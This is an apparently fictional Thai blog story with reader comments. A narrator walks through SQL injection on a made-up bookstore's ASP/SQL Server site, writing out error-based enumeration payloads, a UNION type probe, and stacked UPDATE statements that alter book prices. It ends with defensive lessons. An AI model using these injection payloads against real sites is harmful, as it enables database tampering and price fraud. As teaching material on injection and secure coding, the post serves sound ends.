A Hacker's Diary ตอน SQL Injection


คำเตือน: สิ่งที่ท่านจะได้อ่านต่อไปนี้เป็นเพียงเหตุการณ์สมมติเท่านั้น และผู้เขียนไม่ได้มีเจตนาที่จะเผยแพร่ความรู้เพื่อนำใช้ในทางที่ผิด หากมีผู้ใดนำไปความรู้จากบทความนี้ไปประยุกต์ใช้ในทางที่ผิด หรือกระทำการใด ๆ ที่ผิดกฎหมาย หรือ ศีลธรรม ทางผู้เขียนไม่ขอรับผิดชอบใด ๆ ทั้งสิ้น

วันนี้ก็เหมือนกับทุก ๆ วันผมตื่นมาอาบน้ำแต่งตัวกินข้าวเช้าเสร็จแล้วไม่มีอะไรทำก็เข้ามาท่องเน็ตตามปกติ พอดีนึกขึ้นได้ว่าอยากได้หนังสืออยู่เล่มหนึ่งชื่อว่า "The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws" ผมจึงเ้ข้าไปที่เว็บไซต์ของร้านหนังสือที่ผมซื้อหนังสือเป็นประจำ คือ www.buggybookstore.com ผมก็คลิก ไปเรื่อย ๆ จนถึงหนังสือที่ผมต้องการซื้อซึ่ง URL ของหน้าที่แสดงข้อมูลของหนังสือเล่มดังกล่าวเป็นดังนี้

http://www.buggybookstore.com/cgi-bin/description.asp?isbn=0470170778

เมื่อเข้าไปดูหนังสือที่อยากได้แต่ผมถึงกับช็อก เพราะว่าหนังสือเล่มนี้ทำไมแพงจัง ราคาตั้ง 1800 บาท ในที่สุดจิตใจด้านมืดของผมก็เข้าครอบงำผมต้องหาทางลดราคาหนังสือเล่มนี้ให้ได้ และแล้วการเปิดศึกระหว่างผมและเว็บแอพพลิเคชั่นของเว็บไซต์ buggybookstore.com ก็เริ่มขึ้น...

อันดับแรกผมเดาว่าเว็บไซต์แห่งนี้ต้องใช้ระบบฐานข้อมูลในการเก็บข้อมูลหนังสือและข้อมูลอื่น ๆ แน่นอนเพราะว่ามีหนังสือตั้งมากมาย และมีการสั่งซื้อทางเน็ตด้วย โปรแกรมเมอร์คงไม่เก็บข้อมูลลง text file หรือ binary file ธรรมดาแน่นอน ฉะนั้นผมจึงเปิดฉากการหาช่องโหว่สำหรับการทำ SQL Injection เพื่อแก้ราคาหนังสือ ถ้าเป็นแฮกเกอร์มือใหม่อาจจะลองทำ SQL Injection ที่ form สำหรับให้ผู้ดูแลระบบใส่ username กับ password เพื่อเข้าไปยังระบบจัดการข้อมูลต่าง ๆ ของเว็บไซต้ แต่เผอิญผมไม่ใช่แฮกเกอร์มือใหม่ครับผมเลยลองหาช่องโหว่จากทุกจุดที่ผมที่คิดว่าน่าจะทำ SQL Injection ได้ ก็เลยเริ่มจากหน้าที่ดูข้อมูลหนังสือที่แหละครับ 555 ตำราพิชัยสงครามของซุนวู่กล่าวไว้ว่า รู้เขารู้เรา รบร้อยครั้งชนะร้อยครั้ง ซึ่งใช้ได้ในการรบบนโลกอินเตอร์เน็ตเหมือนกันครับ ดังนั้นผมก็ต้องศึกษาดูก่อนสิครับว่า web application ของร้านหนังสือร้านนี้เค้าใช้ภาษาอะไรเขียน ใช้ database อะไร และที่สำคัญผมต้องการรู้ชื่อ table กับ field ที่ใช้ในการเก็บข้อมูลราคาหนังสือครับ เพื่อนำไปใช้ในการเรียกคำสั่ง UPDATE เพื่อแก้ราคาหนังสือ คำถามก็คือแล้วเราจะทราบข้อมูลนี้ได้อย่างไร? ภาษาที่เขียนนี่ก็เห็นทนโท่อยู่แล้วว่า .asp แน่นอนก็ต้องเป็น Active Server Page ของ Microsoft แน่นอนซึ่งทำให้มั่นใจได้เลยว่า Server จะต้องใช้ OS เป็น windows based แหง ๆ ฉะนั้นระบบ Database ที่ผมเดาไว้ในใจก็น่าจะเป็น Microsoft SQL Server ไม่ก็ Microsoft Access แน่ ๆ แต่เว็บใหญ่ขนาดนี้ไม่น่าจะใช้ MS Access ดังนั้นเพื่อให้แน่ใจผมจึงต้องหาทางทำยังไงก็ได้เพื่อพิสูจน์สมมติฐานของผม วิธีที่ผมคิดก็คือถ้าเว็บนี้ไม่มีการจัดการข้อผิดพลาดที่ดี ก็ลองหาข้อมูลดูจาก Error Message ดูละกัน ผมก็เลยลองเติมเครื่องหมาย Single Quote (') กับคำว่า HAVING 1=1-- ต่อท้าย URL ของหน้าแสดงข้อมูลหนังสือเล่มนี้

http://www.buggybookstore.com/cgi-bin/description.asp?isbn=0470170778'%20HAVING%201=1--

โอ้วจอร์จมันยอดมาก ผมช่างดวงดีอะไรเช่นนี้ ผมอุทานกับตัวเองเมื่อเห็นผลลัพธ์ของการเพียงแค่เติมเครื่องหมาย Single Quote (') กับคำว่า HAVING 1=1-- ต่อท้าย URL ของ เว็บไซต์ buggybookstore.com ซึ่งทำให้เว็บไซต์แสดง Error Message อันล้ำค่าให้ผมเห็นดังนี้

Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'booklist.barcode' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause.

จาก Error Message ด้านบน เป็นการพิสูจน์ว่าผมสามารถทำ SQL Injection ที่หน้านี้ได้เลย นอกจากนี้สมมติฐานของผมถูกต้อง เว็บนี้ใช้ SQL Server จริง ๆ นอกจากนี้ผมยังรู้ว่ามีตารางที่ชื่อว่า booklist อยู่ในฐานข้อมูลและในตารางนี้ต้องมี field ที่ชื่อว่า barcode แน่นอน ท่านผู้อ่านทั้งหลายคงสงสัยใช่มัยครับว่า อะไรใส่ข้อความสั้น ๆ อะไรก็ไม่รู้เนี่ยมันทำให้เกิด error นี้ได้ยังไงเหรอ? ผมจะอธิบายครับ เนื่องจากผมก็เป็นโปรแกรมเมอร์ครับ ผมเดาใจว่าพ่อหนุ่มที่เขียนเว็บนี้ต้องใช้คำสั่ง SQL คล้ายคำสั่งต่อไปนี้แน่ ๆ

var query = "SELECT * FROM booklist WHERE isbn= '" + isbn+ "'";

ซึ่งโดยปกติแล้ว เพจดังกล่าวจะ รับรหัส ISBN ผ่านทางตัวแปรที่ส่งมาทาง Query String ซึ่งในกรณีนี้คือ 0470170778 ซึ่งจะทำให้ได้คำสั่งในการ query หาหนังสือในระบบฐานข้อมูลดังนี้

SELECT * FROM booklist WHERE isbn= '0470170778 '

แต่พอผมเพิ่ม Single Quote (') กับคำว่า HAVING 1=1-- จะทำให้คำสั่ง SQL ในการ query กลายเป็นอย่างนี้แทน (ตัวหนาคือส่วนที่ผมเพิ่มไปจากปกติ)

SELECT * FROM booklist WHERE isbn= '0470170778' HAVING 1=1--'

คำสั่ง HAVING ในภาษา SQL มีไว้เพื่อระบุเงื่อนไขในการจัดกลุ่มของผลลัพธ์ซึ่งต้องอยู่ตามหลังคำสั่ง GROUP BY ครับ จาก SQL ด้านบนมันไม่มีคำสั่ง GROUP BY มันก็เกิด Error สิครับที่ผมเติม -- ไว้ด้านหลังสุดเพือใช้ในการ comment ไม่ให้ Single Quote อีกอันถูกประมวลผลครับ ข้อผิดพลาดอันมหันต์อีกอย่างของเว็บไซตนี้คือโปรแกรมเจ้ากรรมนี้แทนที่จะเก็บเอาไว้รู้คนเดียวว่าเกิด Error อะไรดันมาประกาศสู่สายตาชาวโลกซะนี่ก็เสร็จผมสิครับ คราวนี้มาแฮกกันต่อดีกว่า ตอนนี้ผมรู้แล้วว่าถ้าในการ query หาหนังสือให้ไปดูในตารางที่ชื่อว่า booklist แล้วราคาหนังสือละมันเก็บอยู่ที่ไหน? ฉะนั้นผมก็ต้องหาทางดูให้ได้ว่าตาราง booklist นี้มี field อะไรบ้าง ไม่ยากครับ คราวนี้ผมก็ใช้ String ในการโจมตีเพิ่มเติมจากเดิมเล็กน้อยซึ่งก็คือ

' GROUP BY booklist.barcode HAVING 1=1--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn=0470170778'%20GROUP%20BY%20booklist.barcode%20HAVING%201=1--
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '0470170778' GROUP BY booklist.barcode HAVING 1=1--'

เหมือนเดิมครับคราวนี้ก็เกิด Error ขึ้นอีกแล้วครับ ถ้าเป็นโปรแกรมเมอร์คงไม่ชอบใจนะครับถ้าเห็นโปรแกรมตัวเองเกิด Error แต่ตอนนี้ผมเป็นแฮกเกอร์ครับผมชอบเห็น Error Message คราวนี้มันแสดงข้อมูลดังนี้ครับ

Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'booklist.title' is invalid in the select list because it is not contained in either an aggreate function or the GROUP BY clause.

อ้าวนี่มันก็บอกผมอีกแล้วนี่ครับว่าในตาราง booklist มี field ชื่อ title ผมก็เพิ่ม คำว่า booklist.title ลองไปอีกในส่วนของ group by ดังนี้ครับ

' GROUP BY booklist.barcode HAVING 1=1--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn=0470170778'%20GROUP%20BY%20booklist.barcode,booklist.title%20HAVING%201=1--
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '0470170778' GROUP BY booklist.barcode,booklist.title HAVING 1=1--'

ซึ่งมันก็จะแสดงชื่อของ field ในตาราง booklist ไปอีกครับ ผมก็เติมชื่อ field ที่แสดงออกมาในส่วนของ group by ไปเรื่อย ๆ จนผมทราบ field ต่าง ๆ ใน table booklist จนครบครับก็พบว่ามี field หนึ่งชื่อว่า price ครับ ผมตาลุกวาวขึ้นทันทีนี่ต้องเป็นฟิลด์ที่เก็บราคาแน่นอน 555 คราวนี้เพื่อความมั่นใจผมก็อยากจะรู้ type ของข้อมูลที่อยู่ใน field ที่ชื่อว่า price ครับว่าเป็น ชนิดอะไรจะได้ใส่ข้อมูลราคาใหม่เข้าไปถูก ผมก็ต้องเปลี่ยน String ที่ใช้ในการโจมตีใหม่ครับเป็นดังนี้

' UNION SELECT LEN(price) FROM booklist --
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn=0470170778'%20UNION%20SELECT%20LEN(price)%20FROM%20booklist --
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '0470170778' UNION SELECT LEN(price) FROM booklist --'

จะเห็นว่าคำสั่ง SQL ดังกล่าวประกอบด้วยคำสั่ง SELECT สองคำสั่งครับแล้วนำผลลัพท์ที่ได้ของทั้งสองคำสั่งมารวมกัน (UNION) โดยส่วนแรกคำสั่ง SELECT เพื่อหาหนังสือที่มี isbn ตรงกับที่ระบุครับแต่อันที่สองนี่สิครับที่เป็นไม้ตายซึ่งน่าจะทำให้เกิด Error จากสมมติฐานของผมคงไม่มีใครบ้าเก็บราคาไว้ในข้อมูลประเภทตัวอักษรแน่ ๆ ผมต้องการจะให้เกิด Error ครับผมจึงไปดูเอกสารของ Microsoft SQL Server สิว่ามี String Functions อะไรให้ใช้ได้บ้าง ผมก็เลยเลือกเอามาอันนึงก็คือ LEN() ที่ใช้ในการหาความยาว String ครับ ซึ่งเมื่อผมเรียก URLด้านบนก็จะให้ผลลัพธ์ดังนี้

Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Implicit conversion from data type money to varchar is not allowed. Use the CONVERT function to run this query.

คราวนี้ผมก็ทราบแล้วครับว่า field ที่เก็บราคานั้นเป็นข้อมูลชนิด money คราวนี้ก็เหลือแค่แก้ราคาเท่านั้นครับว่าผมต้องใช้ String อะไรใส่เข้าไป ท่านผู้อ่านทายซิครับ?

'; UPDATE booklist SET price = 300.00 WHERE isbn = '0470170778
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn=';UPDATE%20booklist%20SET%20price%20=%20300.00%20WHERE%20isbn%20=%20'0470170778
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '470170778';UPDATE booklist SET price = 300.00 WHERE isbn = '0470170778'

เยี่ยมมากเลยครับพอผมเข้าไปดูราคาหนังสือนี้ผ่านหน้าเว็บไซต์ก็เหลือแค่ราคา 300 บาทเท่านั้น แต่ช้าก่อนถ้าผมแก้แค่เล่มเดียวแล้วไปซื้อเนี่ยเค้ารู้แน่ว่าผมเป็นคนเข้ามาแก้ราคาหนังสือผ่านทางช่องโหว่ดังกล่าว ผมเลยเปลี่ยนใจใช้คำสั่งต่อไปนี้โจมตีแทนละกัน

'; UPDATE booklist SET price = price/2--

หลังจากนั้นผมก็ไปขับรถไปซื้อหนังสือที่ร้านหนังสือ แทนที่จะสั่งผ่านเน็ต เรื่องอะไรจะสั่งซื้อผ่านเน็ตให้โง่ เดินไปหยิบหนังสือแล้วซื้อที่ร้านแน่นอนว่าหนังสือถึงมือเราในราคาถูกชัวร์ ๆ เมื่อผมไปถึงที่ร้านหนังสือก็ลองตรวจสอบราคากับ Kiosk ก็รู้สึกปลาบปลื้มปิติเป็นที่สุดเพราะระบบฐานข้อมูลที่ POS ของร้านกับที่เว็บมันใช้อันเดียวกัน ผมก็เลยซื้อหนังสือราคาถูกมาหลายเล่มเลย แคชเชียร์ก็งงซื้อหนังสือต่างประเทศทั้งนั้นแต่ทำไมจ่ายราคาถูกจัง ส่วนผมก็คิดในใจร้านหนังสืออะไรใจดีจัง ลดราคา 50% ทั้งร้านเลยไว้ผมจะมาใช้บริการใหม่นะครับ 555

นิทานเรื่องนี้สอนให้รู้ว่า

  1. ในการตรวจสอบคุณภาพของ software นอกจากจะต้องตรวจสอบว่ามันทำงานได้ถูกต้องตามที่ต้องการหรือไม่ แล้วยังต้องตรวจสอบด้วยว่าความปลอดภัยของ software ด้วยว่ามีช่องโหว่หรือข้อผิดพลาดหรือไม่ด้วย
  2. ควรอบรมโปรแกรมเมอร์ให้ตระหนักถึงเรื่องความปลอดภัยด้วย ไม่ใช่แค่เพียงเขียนโปรแกรมให้ทำงานได้ตามที่ลูกค้าต้องการก็พอ
  3. ในเว็บไซต์หากเกิดข้อผิดพลาดควรมีหน้า(web page)ไว้หน้าหนึ่งซึ่งแสดงว่าเกิดข้อผิดพลาดเฉย ๆ แต่ไม่ต้องบอกข้อมูลทางเทคนิคว่าเกิดข้อผิดพลาดอะไร

เรื่องราวการ Hack ด้วย SQL Injection ยังไม่จบเพียงเท่านี้นะครับ อ่านต่อได้ที่นี่

กูว่า เรื่องนี้เป็นเรื่องแต่งวะ  มึงแต่งเรื่องขึ้นมาเพื่อนำเสนอวิธีแฮกให้หนุกเฉยๆ  

ไม่ได้ซื้อจิงหรอก  เพราะ มึงเป็นคนดีจะตาย

 

ปล. อ่านระหว่างบรรทัดก็คือ ถ้ามึงทำจริง มึงเลวมาก (ฮา)

เรื่องแต่งสิครับ ขีนผมทำจริง ก็คงไม่ได้มานั่งเขียนอยู่ตรงนี้หรอกครับ เพราะว่าตอนนี้มีกฎหมายออกมาแล้ว ถ้าไปแฮกสุ่มสี่สุ่มหาเป็นการหาเรื่องเข้านอนมุ้งสายบัวโดยไม่จำเป็นครับ เพราะ ตำรวจไทยเก่ง ๆ จะตาย 555 ขนาดคนแฮกกระทรวง ICT ตอนนี้ยังจับไม่ได้เลย เห็นข่าวเงียบหายไปแล้ว

มึงต้องสอนกูหน่อยละ อยากทำเป็นมั่ง ท่าจะหนุก หึหึหึ

ชอบๆๆ ซืิ้อๆๆ สนุกๆๆดี

very nice explanation bro, do u know if it is possible/hard to trace an injection from proxy server?

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd><img> <object> <embed> <param>
  • Lines and paragraphs break automatically.
  • Images can be added to this post.

More information about formatting options

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (respecting upper/lower case) from the image.
ญาณรักข์ วรรณสาย